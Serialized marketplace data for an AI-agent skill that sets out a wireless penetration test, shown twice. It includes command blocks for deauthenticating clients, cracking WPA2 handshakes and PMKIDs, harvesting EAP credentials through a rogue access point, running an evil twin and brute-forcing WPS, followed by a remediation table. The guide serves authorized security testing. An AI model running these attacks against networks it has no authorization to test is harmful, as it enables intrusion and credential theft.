[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M73F4E6J5FSGBNSPWAZ602KA":3,"skill-same:01M73F4E6J5FSGBNSPWAZ602KA":110},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":52,"commitSha":53,"skillDirectory":54,"forksCount":55,"repositoryHtmlUrl":56,"repositoryHomepageUrl":57,"ownerHtmlUrl":58,"ownerBlogUrl":59,"ownerDescription":60,"updatedAt":61,"install":62,"resources":75},"01M73F4E6J5FSGBNSPWAZ602KA","performing-wireless-network-penetration-test",null,"Execute a wireless network penetration test to assess WiFi security by capturing handshakes, cracking WPA2\u002FWPA3 keys, detecting rogue access points, and testing wireless segmentation using Aircrack-ng and related tools.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-wireless-network-penetration-test\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-wireless-network-penetration-test\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: performing-wireless-network-penetration-test\ndescription: Execute a wireless network penetration test to assess WiFi security by\n  capturing handshakes, cracking WPA2\u002FWPA3 keys, detecting rogue access points, and\n  testing wireless segmentation using Aircrack-ng and related tools.\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- wireless-pentest\n- WiFi\n- Aircrack-ng\n- WPA2\n- WPA3\n- rogue-AP\n- evil-twin\n- 802.11\n- Kismet\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1591\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\n---\n\n# Performing Wireless Network Penetration Test\n\n## Overview\n\nWireless penetration testing evaluates the security of an organization's WiFi infrastructure including encryption strength, authentication mechanisms, rogue access point detection, client isolation, and network segmentation. Testing covers 802.11a\u002Fb\u002Fg\u002Fn\u002Fac\u002Fax protocols, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, captive portals, and Bluetooth\u002FBLE where in scope.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing wireless network penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Written authorization specifying wireless scope (SSIDs, BSSIDs, physical locations)\n- Compatible wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH, TP-Link TL-WN722N v1)\n- Kali Linux with Aircrack-ng suite, Bettercap, Wifite, Kismet\n- Physical proximity to target wireless networks\n- GPS receiver for mapping (optional)\n\n## Phase 1 — Wireless Reconnaissance\n\n### Enable Monitor Mode\n\n```bash\n# Check wireless interfaces\niwconfig\nairmon-ng\n\n# Kill interfering processes\nairmon-ng check kill\n\n# Enable monitor mode\nairmon-ng start wlan0\n# Interface becomes wlan0mon\n\n# Verify monitor mode\niwconfig wlan0mon\n```\n\n### Passive Scanning\n\n```bash\n# Discover all networks in range\nairodump-ng wlan0mon -w wireless_scan --output-format csv,pcap\n\n# Filter by specific channel\nairodump-ng wlan0mon -c 6 -w channel6_scan\n\n# Scan 5GHz band\nairodump-ng wlan0mon --band a -w 5ghz_scan\n\n# Scan all bands\nairodump-ng wlan0mon --band abg -w full_scan\n\n# Kismet passive scanning (advanced)\nkismet -c wlan0mon\n# Access web UI at http:\u002F\u002Flocalhost:2501\n```\n\n### Network Inventory\n\n| SSID | BSSID | Channel | Encryption | Clients | Signal |\n|------|-------|---------|-----------|---------|--------|\n| CorpWiFi | AA:BB:CC:DD:EE:01 | 6 | WPA2-Enterprise | 45 | -55dBm |\n| CorpGuest | AA:BB:CC:DD:EE:02 | 11 | WPA2-PSK | 12 | -60dBm |\n| PrinterNet | AA:BB:CC:DD:EE:03 | 1 | WEP | 3 | -70dBm |\n| HiddenSSID | AA:BB:CC:DD:EE:04 | 36 | WPA2-PSK | 8 | -65dBm |\n\n## Phase 2 — WPA2-PSK Attack\n\n### Capture 4-Way Handshake\n\n```bash\n# Target specific network\nairodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon\n\n# Deauthenticate a client to force reconnection (handshake capture)\naireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon\n\n# Verify handshake captured\naircrack-ng corpguest-01.cap\n# Look for \"1 handshake\" in output\n```\n\n### Crack WPA2 Key\n\n```bash\n# Dictionary attack with Aircrack-ng\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt corpguest-01.cap\n\n# GPU-accelerated cracking with Hashcat\n# Convert cap to hccapx format\nhcxpcapngtool -o hash.hc22000 corpguest-01.cap\n\n# Hashcat mode 22000 (WPA-PBKDF2-PMKID+EAPOL)\nhashcat -m 22000 hash.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# PMKID attack (no client needed)\nhcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \\\n  --filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2\nhcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng\nhashcat -m 22000 pmkid_hash.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n## Phase 3 — WPA2-Enterprise Attack\n\n```bash\n# Set up rogue AP with EAP credential harvesting\n# Using hostapd-mana\ncat > hostapd-mana.conf \u003C\u003C 'EOF'\ninterface=wlan0mon\nssid=CorpWiFi\nhw_mode=g\nchannel=6\nauth_algs=3\nwpa=2\nwpa_key_mgmt=WPA-EAP\nwpa_pairwise=CCMP TKIP\nrsn_pairwise=CCMP\nieee8021x=1\neap_server=1\neap_user_file=hostapd.eap_user\nmana_wpe=1\nmana_credout=creds.txt\nEOF\n\n# EAP user file\ncat > hostapd.eap_user \u003C\u003C 'EOF'\n*   PEAP,TTLS,TLS,FAST\n\"t\" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP \"t\" [2]\nEOF\n\nhostapd-mana hostapd-mana.conf\n\n# Captured MSCHAP challenges can be cracked\n# Crack NetNTLMv1 from EAP-MSCHAP\nhashcat -m 5500 creds.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n## Phase 4 — Evil Twin Attack\n\n```bash\n# Create evil twin with Bettercap\nsudo bettercap -iface wlan0mon\n\n# Within Bettercap:\nwifi.recon on\nwifi.ap\n\n# Or manual evil twin with hostapd + dnsmasq\ncat > evil_twin.conf \u003C\u003C 'EOF'\ninterface=wlan1\nssid=CorpGuest\nhw_mode=g\nchannel=6\ndriver=nl80211\nauth_algs=1\nwpa=0\nEOF\n\n# Start captive portal\nhostapd evil_twin.conf &\ndnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \\\n  --address=\u002F#\u002F192.168.1.1\n\n# Deauth clients from real AP to force connection to evil twin\naireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon\n```\n\n## Phase 5 — Additional Tests\n\n### Rogue AP Detection\n\n```bash\n# Compare authorized AP list against discovered APs\n# Authorized BSSIDs from client documentation\n# Flag any unknown BSSIDs broadcasting corporate SSIDs\n\n# Check for misconfigured APs\n# Personal hotspots bridging to corporate network\n# IoT devices with default WiFi settings\n```\n\n### Client Isolation Testing\n\n```bash\n# After connecting to guest network:\n# Scan for other clients\nnmap -sn 192.168.10.0\u002F24\n\n# Attempt to reach corporate resources\nnmap -sT -p 80,443,445,3389 10.0.0.0\u002F24\n\n# Test VLAN hopping\n# If guest network is not properly segmented from corporate\n```\n\n### WPS Attack\n\n```bash\n# Check for WPS-enabled APs\nwash -i wlan0mon\n\n# WPS PIN bruteforce (if WPS enabled and not rate-limited)\nreaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv\n\n# Pixie-Dust attack (offline WPS PIN recovery)\nreaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv\n```\n\n## Findings Template\n\n| Finding | Severity | CVSS | Remediation |\n|---------|----------|------|-------------|\n| WPA2-PSK with weak passphrase | High | 8.1 | Use 20+ char passphrase or migrate to WPA2-Enterprise |\n| WEP encryption on printer network | Critical | 9.1 | Upgrade to WPA2\u002FWPA3, segment printer VLAN |\n| WPS enabled on guest AP | Medium | 5.3 | Disable WPS on all access points |\n| No client isolation on guest | High | 7.5 | Enable AP isolation and VLAN segmentation |\n| Corporate SSID broadcasts on rogue AP | High | 8.1 | Deploy WIDS\u002FWIPS, implement 802.1X with cert validation |\n| EAP-MSCHAP without cert pinning | High | 7.5 | Enforce server certificate validation on all clients |\n\n## References\n\n- Aircrack-ng Documentation: https:\u002F\u002Fwww.aircrack-ng.org\u002Fdoku.php\n- CISA Aircrack-ng: https:\u002F\u002Fwww.cisa.gov\u002Fresources-tools\u002Fservices\u002Faircrack-ng\n- WiFi Alliance WPA3 Specification: https:\u002F\u002Fwww.wi-fi.org\u002Fdiscover-wi-fi\u002Fsecurity\n- NIST SP 800-153: Guidelines for Securing WLANs\n- Hashcat WPA modes: https:\u002F\u002Fhashcat.net\u002Fwiki\u002Fdoku.php?id=example_hashes\n","# Performing Wireless Network Penetration Test\n\n## Overview\n\nWireless penetration testing evaluates the security of an organization's WiFi infrastructure including encryption strength, authentication mechanisms, rogue access point detection, client isolation, and network segmentation. Testing covers 802.11a\u002Fb\u002Fg\u002Fn\u002Fac\u002Fax protocols, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, captive portals, and Bluetooth\u002FBLE where in scope.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing wireless network penetration test\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Written authorization specifying wireless scope (SSIDs, BSSIDs, physical locations)\n- Compatible wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH, TP-Link TL-WN722N v1)\n- Kali Linux with Aircrack-ng suite, Bettercap, Wifite, Kismet\n- Physical proximity to target wireless networks\n- GPS receiver for mapping (optional)\n\n## Phase 1 — Wireless Reconnaissance\n\n### Enable Monitor Mode\n\n```bash\n# Check wireless interfaces\niwconfig\nairmon-ng\n\n# Kill interfering processes\nairmon-ng check kill\n\n# Enable monitor mode\nairmon-ng start wlan0\n# Interface becomes wlan0mon\n\n# Verify monitor mode\niwconfig wlan0mon\n```\n\n### Passive Scanning\n\n```bash\n# Discover all networks in range\nairodump-ng wlan0mon -w wireless_scan --output-format csv,pcap\n\n# Filter by specific channel\nairodump-ng wlan0mon -c 6 -w channel6_scan\n\n# Scan 5GHz band\nairodump-ng wlan0mon --band a -w 5ghz_scan\n\n# Scan all bands\nairodump-ng wlan0mon --band abg -w full_scan\n\n# Kismet passive scanning (advanced)\nkismet -c wlan0mon\n# Access web UI at http:\u002F\u002Flocalhost:2501\n```\n\n### Network Inventory\n\n| SSID | BSSID | Channel | Encryption | Clients | Signal |\n|------|-------|---------|-----------|---------|--------|\n| CorpWiFi | AA:BB:CC:DD:EE:01 | 6 | WPA2-Enterprise | 45 | -55dBm |\n| CorpGuest | AA:BB:CC:DD:EE:02 | 11 | WPA2-PSK | 12 | -60dBm |\n| PrinterNet | AA:BB:CC:DD:EE:03 | 1 | WEP | 3 | -70dBm |\n| HiddenSSID | AA:BB:CC:DD:EE:04 | 36 | WPA2-PSK | 8 | -65dBm |\n\n## Phase 2 — WPA2-PSK Attack\n\n### Capture 4-Way Handshake\n\n```bash\n# Target specific network\nairodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon\n\n# Deauthenticate a client to force reconnection (handshake capture)\naireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon\n\n# Verify handshake captured\naircrack-ng corpguest-01.cap\n# Look for \"1 handshake\" in output\n```\n\n### Crack WPA2 Key\n\n```bash\n# Dictionary attack with Aircrack-ng\naircrack-ng -w \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt corpguest-01.cap\n\n# GPU-accelerated cracking with Hashcat\n# Convert cap to hccapx format\nhcxpcapngtool -o hash.hc22000 corpguest-01.cap\n\n# Hashcat mode 22000 (WPA-PBKDF2-PMKID+EAPOL)\nhashcat -m 22000 hash.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  -r \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# PMKID attack (no client needed)\nhcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \\\n  --filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2\nhcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng\nhashcat -m 22000 pmkid_hash.hc22000 \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n## Phase 3 — WPA2-Enterprise Attack\n\n```bash\n# Set up rogue AP with EAP credential harvesting\n# Using hostapd-mana\ncat > hostapd-mana.conf \u003C\u003C 'EOF'\ninterface=wlan0mon\nssid=CorpWiFi\nhw_mode=g\nchannel=6\nauth_algs=3\nwpa=2\nwpa_key_mgmt=WPA-EAP\nwpa_pairwise=CCMP TKIP\nrsn_pairwise=CCMP\nieee8021x=1\neap_server=1\neap_user_file=hostapd.eap_user\nmana_wpe=1\nmana_credout=creds.txt\nEOF\n\n# EAP user file\ncat > hostapd.eap_user \u003C\u003C 'EOF'\n*   PEAP,TTLS,TLS,FAST\n\"t\" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP \"t\" [2]\nEOF\n\nhostapd-mana hostapd-mana.conf\n\n# Captured MSCHAP challenges can be cracked\n# Crack NetNTLMv1 from EAP-MSCHAP\nhashcat -m 5500 creds.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n```\n\n## Phase 4 — Evil Twin Attack\n\n```bash\n# Create evil twin with Bettercap\nsudo bettercap -iface wlan0mon\n\n# Within Bettercap:\nwifi.recon on\nwifi.ap\n\n# Or manual evil twin with hostapd + dnsmasq\ncat > evil_twin.conf \u003C\u003C 'EOF'\ninterface=wlan1\nssid=CorpGuest\nhw_mode=g\nchannel=6\ndriver=nl80211\nauth_algs=1\nwpa=0\nEOF\n\n# Start captive portal\nhostapd evil_twin.conf &\ndnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \\\n  --address=\u002F#\u002F192.168.1.1\n\n# Deauth clients from real AP to force connection to evil twin\naireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon\n```\n\n## Phase 5 — Additional Tests\n\n### Rogue AP Detection\n\n```bash\n# Compare authorized AP list against discovered APs\n# Authorized BSSIDs from client documentation\n# Flag any unknown BSSIDs broadcasting corporate SSIDs\n\n# Check for misconfigured APs\n# Personal hotspots bridging to corporate network\n# IoT devices with default WiFi settings\n```\n\n### Client Isolation Testing\n\n```bash\n# After connecting to guest network:\n# Scan for other clients\nnmap -sn 192.168.10.0\u002F24\n\n# Attempt to reach corporate resources\nnmap -sT -p 80,443,445,3389 10.0.0.0\u002F24\n\n# Test VLAN hopping\n# If guest network is not properly segmented from corporate\n```\n\n### WPS Attack\n\n```bash\n# Check for WPS-enabled APs\nwash -i wlan0mon\n\n# WPS PIN bruteforce (if WPS enabled and not rate-limited)\nreaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv\n\n# Pixie-Dust attack (offline WPS PIN recovery)\nreaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv\n```\n\n## Findings Template\n\n| Finding | Severity | CVSS | Remediation |\n|---------|----------|------|-------------|\n| WPA2-PSK with weak passphrase | High | 8.1 | Use 20+ char passphrase or migrate to WPA2-Enterprise |\n| WEP encryption on printer network | Critical | 9.1 | Upgrade to WPA2\u002FWPA3, segment printer VLAN |\n| WPS enabled on guest AP | Medium | 5.3 | Disable WPS on all access points |\n| No client isolation on guest | High | 7.5 | Enable AP isolation and VLAN segmentation |\n| Corporate SSID broadcasts on rogue AP | High | 8.1 | Deploy WIDS\u002FWIPS, implement 802.1X with cert validation |\n| EAP-MSCHAP without cert pinning | High | 7.5 | Enforce server certificate validation on all clients |\n\n## References\n\n- Aircrack-ng Documentation: https:\u002F\u002Fwww.aircrack-ng.org\u002Fdoku.php\n- CISA Aircrack-ng: https:\u002F\u002Fwww.cisa.gov\u002Fresources-tools\u002Fservices\u002Faircrack-ng\n- WiFi Alliance WPA3 Specification: https:\u002F\u002Fwww.wi-fi.org\u002Fdiscover-wi-fi\u002Fsecurity\n- NIST SP 800-153: Guidelines for Securing WLANs\n- Hashcat WPA modes: https:\u002F\u002Fhashcat.net\u002Fwiki\u002Fdoku.php?id=example_hashes\n",{"name":5,"tags":25,"author":35,"domain":36,"source":37,"license":15,"version":38,"nist_csf":39,"subdomain":44,"description":7,"mitre_attack":45,"source_commit":51},[26,27,28,29,30,31,32,33,34],"wireless-pentest","WiFi","Aircrack-ng","WPA2","WPA3","rogue-AP","evil-twin",802.11,"Kismet","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0",[40,41,42,43],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing",[46,47,48,49,50],"T1595","T1190","T1059","T1078","T1591","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa","core\u002Fskills\u002Fperforming-wireless-network-penetration-test",2,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-14 13:24:09",{"source":8,"skillName":5,"commands":63,"prompt":73,"zipAvailable":74},[64,67,70],{"tool":65,"command":66},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill performing-wireless-network-penetration-test",{"tool":68,"command":69},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill performing-wireless-network-penetration-test",{"tool":71,"command":72},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill performing-wireless-network-penetration-test","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-wireless-network-penetration-test\u002FSKILL.md",true,[76,82,86,92,96,100,106],{"path":77,"resourceType":78,"resourceTypeDesc":79,"sizeBytes":80,"sourceHtmlUrl":81},"assets\u002Ftemplate.md","ASSET","资产文件",781,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-wireless-network-penetration-test\u002Fassets\u002Ftemplate.md",{"path":83,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":87,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"references\u002Fapi-reference.md","REFERENCE","参考文档",1470,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-wireless-network-penetration-test\u002Freferences\u002Fapi-reference.md",{"path":93,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":94,"sourceHtmlUrl":95},"references\u002Fstandards.md",1054,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-wireless-network-penetration-test\u002Freferences\u002Fstandards.md",{"path":97,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fworkflows.md",933,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-wireless-network-penetration-test\u002Freferences\u002Fworkflows.md",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"scripts\u002Fagent.py","SCRIPT","脚本",5617,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-wireless-network-penetration-test\u002Fscripts\u002Fagent.py",{"path":107,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":108,"sourceHtmlUrl":109},"scripts\u002Fprocess.py",7448,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-wireless-network-penetration-test\u002Fscripts\u002Fprocess.py",[111,119,126,134,142,150],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":115,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":130,"sourceHtmlUrl":131,"categories":132,"keywords":133,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":135,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":138,"sourceHtmlUrl":139,"categories":140,"keywords":141,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":146,"sourceHtmlUrl":147,"categories":148,"keywords":149,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":151,"name":152,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":153,"categories":154,"keywords":155,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]